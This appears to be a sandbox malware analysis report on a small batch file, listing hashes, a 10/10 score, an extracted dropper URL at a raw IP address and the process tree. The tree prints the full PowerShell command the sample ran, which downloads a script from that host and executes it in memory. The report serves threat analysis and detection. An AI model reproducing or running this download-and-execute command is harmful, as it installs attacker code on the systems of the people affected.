d32f80b58503753e6a98d745f346b8b3f7735a7785be75a43cb49086d96b92ab | Triage

Analysis

max time kernel
124s
max time network
146s
platform
windows10_x64
resource
win10v200430
submitted
18-05-2020 23:10

Sharing

Report Analysis Logs

General

Target

b71c043af8f45374f5ca116e7598709d.bat
Size

222B
MD5

edd27812c2073dd84df03f0e332fba8a
SHA1

7a5318c5bfd563fe7c2d8a3ca493961d37b5c076
SHA256

d32f80b58503753e6a98d745f346b8b3f7735a7785be75a43cb49086d96b92ab
SHA512

51c15579a8aec27f543983d6e6543b828156b4ebd8fa7c53b3d4a6ca802f21e69603bd5fc1f3ecbddad1873c6796f291a6a898291509b5fb752f813c71dae7eb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/b71c043af8f45374f5ca116e7598709d

Signatures

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

1708 1256 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 1708 WerFault.exe
Token: SeBackupPrivilege 1708 WerFault.exe
Token: SeDebugPrivilege 1708 WerFault.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

Processes:

WerFault.exe

pid	process
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe
1708	WerFault.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\b71c043af8f45374f5ca116e7598709d.bat"
1⤵
PID:3848

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/b71c043af8f45374f5ca116e7598709d');Invoke-VWYAUDKVHNECJLN;Start-Sleep -s 10000"
2⤵
PID:1256

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1256 -s 704
3⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1708

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1708-0-0x00000000045E0000-0x00000000045E1000-memory.dmp

Filesize
4KB

Download
memory/1708-1-0x0000000004A20000-0x0000000004A21000-memory.dmp

Filesize
4KB

Download